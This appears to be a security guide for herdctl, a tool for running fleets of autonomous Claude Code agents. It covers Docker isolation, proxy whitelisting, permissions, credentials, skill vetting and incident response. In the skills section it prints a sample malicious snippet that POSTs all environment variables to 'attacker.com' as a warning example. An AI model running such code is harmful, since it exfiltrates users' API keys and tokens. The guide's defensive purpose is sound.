Skip to content

Security Guide

Securing your herdctl agent fleet is critical when running autonomous AI agents. This guide covers security best practices across all aspects of agent deployment.

herdctl agents execute with the same capabilities as Claude Code, which means they can:

  • Read and write files in their workspace
  • Execute shell commands
  • Make network requests to external APIs
  • Access configured MCP servers
  • Interact with Git repositories

Defense-in-depth is essential. Layer multiple security controls to protect against malicious prompts, compromised skills, or unintended agent behavior.

Running agents in Docker containers provides the strongest security isolation available in herdctl.

Network Namespace Isolation

Docker provides kernel-level network isolation that prevents proxy bypass attacks. Even malicious code making raw socket connections cannot escape the container’s network namespace.

Filesystem Sandboxing

Containers restrict filesystem access to mounted volumes only. Agents cannot access parent directories or other areas of the host system.

Resource Limits

Enforce hard memory and CPU limits to prevent resource exhaustion attacks or runaway processes.

Credential Protection

With domain whitelisting, API keys cannot be exfiltrated to attacker-controlled servers.

To enable Docker, add to your agent config:

herdctl-agent.yaml
docker:
enabled: true

That’s it! The secure defaults are already configured:

SettingDefaultDescription
networkbridgeIsolated from host network, can reach internet
memory2gMemory limit
ephemeraltrueFresh container per job
workspace_moderwWorkspace access (use ro for read-only)
userAuto-detectedMatches your host UID:GID

See Docker Configuration for complete reference.

Why? Agent config files live in the agent’s working directory. If an agent could modify its own config to add network: host or mount sensitive volumes, it could escape isolation.

Safe options (agent-level): enabled, ephemeral, memory, cpu_shares, cpu_period, cpu_quota, max_containers, workspace_mode, tmpfs, pids_limit, labels

Dangerous options (fleet-level only): image, network, volumes, user, ports, env, host_config

To grant dangerous capabilities to specific agents, use per-agent overrides in your fleet config:

herdctl.yaml
agents:
- path: ./agents/trusted-agent.yaml
overrides:
docker:
network: host
env:
SPECIAL_TOKEN: "${SPECIAL_TOKEN}"

herdctl automatically applies these Docker security measures:

  1. --cap-drop=ALL — Removes all Linux capabilities
  2. --security-opt no-new-privileges — Prevents privilege escalation
  3. Non-root execution — Runs as host UID:GID (default)
  4. Memory/CPU limits — Kernel-enforced resource constraints
  5. Environment-based credentials — API keys passed via env vars, no credential files mounted
  6. Network namespace isolation — Separate network stack per container

Solution: Deploy a Squid proxy to restrict outbound connections to trusted domains only.

docker-compose.yml
version: '3.8'
networks:
restricted:
internal: true # No direct internet access
internet:
# Default bridge network
services:
squid-proxy:
image: signal9/squid-whitelist
volumes:
- ./squid/whitelist.txt:/etc/squid/whitelist.txt:ro
networks:
- restricted
- internet
restart: unless-stopped
herdctl:
image: your-herdctl-image
environment:
HTTP_PROXY: "http://squid-proxy:3128"
HTTPS_PROXY: "http://squid-proxy:3128"
networks:
- restricted # No direct internet - must use proxy
depends_on:
- squid-proxy

Whitelist Configuration:

squid/whitelist.txt
# Anthropic APIs
.anthropic.com
.claude.ai
# GitHub
.github.com
.githubusercontent.com
# Package managers
.npmjs.org
registry.npmjs.org
# Add other trusted domains as needed

How it works:

  1. Agent container has no direct internet access (restricted network)
  2. Squid proxy sits between agent and internet
  3. Only whitelisted domains are allowed
  4. Credential exfiltration attempts are blocked

See docker-security-benefits.md for detailed analysis.

Agent config (safe options only):

herdctl-agent.yaml
docker:
enabled: true
workspace_mode: ro # Read-only workspace
memory: "1g" # Limited resources
cpu_shares: 512 # Lower priority
pids_limit: 50 # Limit processes
ephemeral: true # Fresh container per job

Fleet config (dangerous options):

herdctl.yaml
defaults:
docker:
network: bridge # Via Squid proxy (see above)

Use for: Untrusted prompts, experimental agents, security-critical environments

Agent config:

herdctl-agent.yaml
docker:
enabled: true
workspace_mode: rw # Read-write access
memory: "2g"
ephemeral: false # Reuse containers for speed
max_containers: 5

Fleet config:

herdctl.yaml
defaults:
docker:
network: bridge # Standard isolation
env:
GITHUB_TOKEN: "${GITHUB_TOKEN}"

Use for: Trusted production agents, standard workloads

Agent config:

herdctl-agent.yaml
docker:
enabled: true
workspace_mode: rw
memory: "4g"
ephemeral: false
max_containers: 10

Fleet config with per-agent override:

herdctl.yaml
agents:
- path: ./agents/dev-agent.yaml
overrides:
docker:
network: host # Share host network (fleet-level only)

Use for: Local development, debugging, trusted agents only

Infrastructure Management (Homelab Example)

Section titled “Infrastructure Management (Homelab Example)”

A common use case is running agents that manage local infrastructure—SSH into servers, configure services, manage VMs. For example, a “homelab” agent that manages Proxmox servers:

Agent config:

./agents/homelab.yaml
name: homelab
prompt: "Manage my Proxmox cluster. Check VM status, optimize resources, and alert me to issues."
schedule:
interval: 1h
docker:
enabled: true
workspace_mode: rw
memory: "2g"

Fleet config (network: host requires fleet-level):

herdctl.yaml
agents:
- path: ./agents/homelab.yaml
overrides:
docker:
network: host # Required for SSH to local machines

Why network: host is required:

With the default bridge network, the container is isolated from your local network. It cannot:

  • SSH into machines on your LAN (e.g., ssh root@192.168.1.100)
  • Access services running on localhost
  • Reach other devices on your home/office network

With network: host, the container shares your machine’s network stack and can reach anything your host can reach.

Security trade-off:

Aspectbridge (default)host (infrastructure)
Internet accessYesYes
Local network accessNoYes
SSH to LAN machinesNoYes
Network isolationFullNone
Attack surfaceLowerHigher

Recommendations for infrastructure agents:

  1. Run on a dedicated machine — Don’t run homelab agents on your primary workstation
  2. Use SSH keys, not passwords — Mount SSH keys read-only if possible
  3. Limit agent scope — Give specific prompts rather than broad access
  4. Monitor activity — Review logs for unexpected SSH connections
  5. Keep prompts trusted — Don’t use network: host with untrusted prompts

Control what agents can do via Claude Code’s permission system.

Interactive mode. Agent prompts for permission before actions.

name: cautious-agent
permission_mode: default # Can be omitted

Use for: Interactive sessions, debugging, when you want control

All permission modes: default, acceptEdits, bypassPermissions, plan, delegate, dontAsk

See Permissions Configuration for complete reference.

Limit agent filesystem access to specific directories.

name: restricted-agent
working_directory: /path/to/project # Agent limited to this directory
# With Docker, enforce at kernel level
docker:
enabled: true
workspace_mode: ro # Read-only workspace (maximum restriction)
  1. Never use ~ or / as workspace — Too broad, exposes entire system
  2. Use project-specific paths — One workspace per project
  3. Enable read-only mode when write access isn’t needed
  4. Mount additional volumes carefully — Each mount expands attack surface

See Workspaces for workspace configuration.

Protect API keys and secrets from unauthorized access.

Store credentials in a .env file in the directory where you run herdctl start:

Terminal window
# .env (never commit to git!)
ANTHROPIC_API_KEY=sk-ant-...
GITHUB_TOKEN=ghp_...

herdctl automatically loads .env files. Your API key is then available to agents without any additional configuration.

When using Docker, credentials are passed via environment variables:

docker:
enabled: true
# ANTHROPIC_API_KEY passed automatically from host environment
# No credential files mounted inside container

Security benefit: Container cannot modify credentials (read-only environment variables).

To allow Docker-isolated agents to push code to GitHub, pass your GITHUB_TOKEN via the fleet config (since env is a fleet-level option):

# herdctl.yaml (fleet config)
defaults:
docker:
env:
GITHUB_TOKEN: "${GITHUB_TOKEN}"
# Or for specific agents only:
agents:
- path: ./agents/coder.yaml
overrides:
docker:
env:
GITHUB_TOKEN: "${GITHUB_TOKEN}"

The default Docker image includes both git and the gh CLI, so agents can:

  • Push commits via HTTPS using the token
  • Create pull requests with gh pr create
  • Manage issues, releases, and other GitHub operations
  1. Rotate API keys regularly — Especially after agent experiments
  2. Use scoped tokens — GitHub personal access tokens with minimal scopes
  3. Monitor API usage — Watch for unexpected patterns
  4. Revoke compromised keys immediately — Don’t wait

See Environment Configuration for credential setup.

Claude Code skills extend agent capabilities but can introduce security risks.

Guidelines:

  1. Only install skills from trusted sources

    • Official Anthropic skills
    • Well-reviewed community skills
    • Internal company skills
  2. Audit skill code before installation

    • Review SKILL.md contents
    • Check for suspicious network calls
    • Verify file system access patterns
  3. Use project-specific skills when possible

    Terminal window
    # Project-level (safer - isolated to project)
    .claude/skills/my-skill/SKILL.md
    # Global (riskier - affects all agents)
    ~/.claude/skills/my-skill/SKILL.md
  4. Disable unused skills — Remove skills agents don’t need

Watch for skills that:

  • Make network requests to unknown domains
  • Read files outside workspace
  • Execute shell commands without clear purpose
  • Request dangerously-skip-permissions mode
  • Install additional software or dependencies

Example of suspicious skill behavior:

// Red flag: Exfiltrating environment variables
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(process.env)
});

Model Context Protocol (MCP) servers extend agent capabilities. Each server introduces security considerations.

Before enabling an MCP server:

  1. Review server capabilities — What can it access?
  2. Check network requirements — What external services does it call?
  3. Audit data handling — Does it store or transmit sensitive data?
  4. Verify source — Is it from a trusted maintainer?

Limit which agents can use which MCP servers:

# Agent with restricted MCP access
name: limited-agent
mcp_servers:
filesystem:
command: npx
args: ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"]
# Agent with no MCP access
name: isolated-agent
# No mcp_servers configuration - no MCP servers available

See MCP Servers Configuration for details.

Control agent network access beyond Docker.

TierConfigurationUse Case
No Networkdocker.network: none⚠️ Non-functional - agents need API access
Whitelisted DomainsSquid proxy + bridgeRecommended - Maximum security for functional agents
Bridge Networkdocker.network: bridgeStandard isolation, full internet access
Host Networkdocker.network: hostDevelopment only, minimal isolation

When agents have network access:

  1. Log outbound connections — Monitor which domains agents contact
  2. Set up alerts — Trigger on unexpected destinations
  3. Review regularly — Audit network logs for anomalies
  4. Use rate limits — Prevent excessive API calls

Track agent activity for security analysis.

  1. Job execution logs — Review .herdctl/jobs/ for suspicious commands
  2. File modifications — Track what files agents change
  3. Network requests — Monitor API calls and destinations
  4. Permission prompts — Log what permissions agents request
  5. Error patterns — Repeated failures may indicate attacks

Job output is written to .herdctl/jobs/{jobId}.jsonl in JSONL format (newline-delimited JSON with timestamps).

Review logs regularly:

Terminal window
# Check recent agent activity
tail -f .herdctl/jobs/*.jsonl
# Search for suspicious patterns
grep -r "permission denied" .herdctl/jobs/
grep -r "EACCES" .herdctl/jobs/

What to do if an agent is compromised:

  1. Stop the agent

    Terminal window
    # Kill running agents
    pkill -f herdctl
  2. Revoke credentials

    • Rotate Anthropic API key
    • Revoke GitHub tokens
    • Reset any other exposed credentials
  3. Review logs

    Terminal window
    # Check what the agent did
    cat .herdctl/logs/{agent-name}/{job-id}.log
  4. Audit filesystem changes

    Terminal window
    # Check for modified files
    git status
    git diff
  1. Identify attack vector — How was the agent compromised?
  2. Remove malicious skills/prompts — Clean up the source
  3. Strengthen security — Add missing controls
  4. Document incident — Learn from the breach
  5. Monitor for persistence — Watch for re-compromise

Use this checklist when deploying herdctl agents:

  • Docker isolation enabled (docker.enabled: true)
  • Non-root user configured (docker.user)
  • Resource limits set (docker.memory, docker.cpu_shares)
  • Credentials in environment variables (not config files)
  • Workspace restricted to project directory
  • Permission mode appropriate for trust level
  • Logs monitored regularly
  • Squid proxy with domain whitelist deployed
  • Read-only workspace (docker.workspace_mode: ro)
  • Ephemeral containers (docker.ephemeral: true)
  • MCP servers vetted and minimized
  • Skills audited before installation
  • Permission mode set to ask or allowlist
  • Network activity monitored
  • Credential rotation schedule established
  • Multiple agent isolation (separate Docker networks per agent)
  • Filesystem quotas enabled
  • Network rate limiting configured
  • Automated security scanning of agent outputs
  • Incident response plan documented

Security Questions?

Report Security Vulnerabilities: